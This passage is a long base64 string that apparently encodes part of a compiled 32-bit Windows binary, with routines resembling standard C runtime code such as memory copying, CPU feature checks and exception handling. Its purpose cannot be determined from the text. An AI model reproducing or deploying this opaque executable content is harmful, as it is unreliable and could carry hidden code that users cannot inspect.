qDI1UJAyJRCQUjUwkFOiwy/b/WYXAD4SYAAAAi0QkIOt8jUQkJGoUjVQkDIlEJBSNTCQU6IrL9v9ZhcB0UYtEJDSNTCQwixaJRCQI6Crr9v+FwHRFixaNTCQo6Bvr9v+FwHQf/3UMjUQkDFD/dCQkjUQkMFBW/1UI/3QkLP8VtLQLEP90JDT/FbS0CxDrC2joWhEQ6LzV9v9Zi0QkJIlEJAiFwA+FeP///4tEJBiJRCQI6w9oQFsREOiX1fb/i0QkDFmFwA+FMf///16L5V3DgXkMACgAAHMGuCDLDBDDgXkMWikAAHMGuFDLDBDDgXkMOTgAALiAywwQurDLDBAPQ8LDVYvsUVGNVfjHRfj0ywwQuUqMCRDHRfwBAAAA6HzB///Jw1WL7IPk+IPsUFZXi30IjUQkHDP2iUQkFMdEJBgE9BEQiw+LAYlEJBA5NXzTERB1MFZWVmjo9BEQagFoENMRELpk0xEQ6I3j//+DxBiFwHUQaGRHDhDo1tT2/1npiwAAAKHo9BEQjVQkDGoIjUwkGIlEJBDoJsr2/1mFwHRu61xqPI1UJBCNTCQY6BDK9v9ZhcB0WItPCIsBO0QkLHU9i0EEO0QkMHU0g3wkRAB1DoN8JEwAdQeDfCRUAHQfVmhcVREQ6GnU9v9oAAAAwIvXjUwkTEbordL//4PEDItEJByJRCQMOwXo9BEQdZRfXovlXcIEAFWL7FFRjVX4x0X4CMwMELlKjAkQx0X8AQAAAOhnwP//ycNVi+yD5PiD7DRWi3UIjUQkCDPSiUQkFIlUJAjHRCQYBPQREIsOiwGJRCQQORWo0xEQdTNo7PQREFJSaPD0ERBqBGiw0xEQupDTERDoceL//4PEGIXAdQ9oZEcOEOi60/b/6YQAAACLFez0ERCNTCQMofD0ERD/dgiJRCQQixTV+MsMEOjF4///WYXAdF6LDez0ERCNVCQMagQDBM38ywwQjUwkGIlEJBDo3Mj2/1mFwHQ5i0QkCIlEJAyFwHQtjUQkHGocjVQkEIlEJBiNTCQY6LTI9v9ZhcB0EWgAAABAi9aNTCQk6IbR//9ZXovlXcIEAFWL7FFRjVX4x0X4DMwMELlKjAkQx0X8AQAAAOhTv///ycNVi+yD5PiD7BRTVot1CDPbiVwkDMdEJBAE9BEQV4sOiwGJRCQcOR3Y1BEQdTFo9PQREFNTaPj0ERBqBmjw1BEQusDUERDoY+H//4PEGIXAdQ1oZEcOEOis0vb/Wetr/3YIiz309BEQjUwkHKH49BEQg8cYahBaiUQkHOgG4v//iUQkHFmFwHRBV2pA/xXQtAsQiUQkEIXAdDBXjVQkHI1MJBTozsf2/1mFwHQTi0wkEIvWAw309BEQU+ie0P//Wf90JBD/FbS0CxBfXluL5V3CBAC4QOkREOkAAAAAUVJQaExyERDoTQMAAFpZ/+C4SOkREOnl////uEzpERDp2////7hQ6REQ6dH///+4VOkREOnH////uFjpERDpvf///7hc6REQ6bP///+4YOkREOmp////uGTpERDpn////7ho6REQ6ZX///+4bOkREOmL////uHDpERDpgf///7h06REQ6Xf///+4eOkREOlt////uHzpERDpY////7iA6REQ6Vn///+4hOkREOlP////uETpERDpRf////cFCLwLEAAQAAB0JuiVAAAAodTpERBAo9TpERCD+AF1DGjY6REQagToogEAAOlBAgAAw6HE6REQUzPbQ1Y7w3RghcB1WGhMuQsQ/xWEtAsQi/CF9nUEi/PrKmhouQsQVv8ViLQLEIXAdOxogLkLEFajyOkREP8ViLQLEIXAdNejzOkREIvOusTpERAzwPAPsQqFwHUEO/N0CDvDdASKw+sCMsBeW8PoiP///4TAdBhWizXI6REQi85o0OkREP8VBLkLEP/WXsO60OkREOsC85Ch0OkREIXAdfUzyUHwD7EKhcB17MOL/1WL7IPsQI1F5GocUP91CP8VBLQLEIXAdQVqGVnNKfZF+ER0RVZXjUXAUP8VVLMLEIt9xIv3994jdQiNV/+LwiNVDCNFCEoDxwPCM9L39zPSi8iLRQz39wPIdAwzwPAJBgP3g+kBdfRfXsnCCACL/1WL7IsNPAAAEFNWV4O5dAAAEA12RIux4AAAEIX2dDoPt4EUAAAQjZEYAAAQi74MAAAQA9APt5kGAAAQM/aF23QYi0IMO/hyCYtKCAPBO/hyEUaDwig783LoM8BfXltdwggAi0UIiQiLRQyLSiSJCItCDAUAAAAQ6+KL/1WL7FFRVo1F+FCNRfxQ6HD///+L8IX2dQuLRQzHAAQAAADrQ4M93OkREAB1IfdF+AAAAIDHBdzpERABAAAAdQVqGVnNKf91/Fboxv7///91DP9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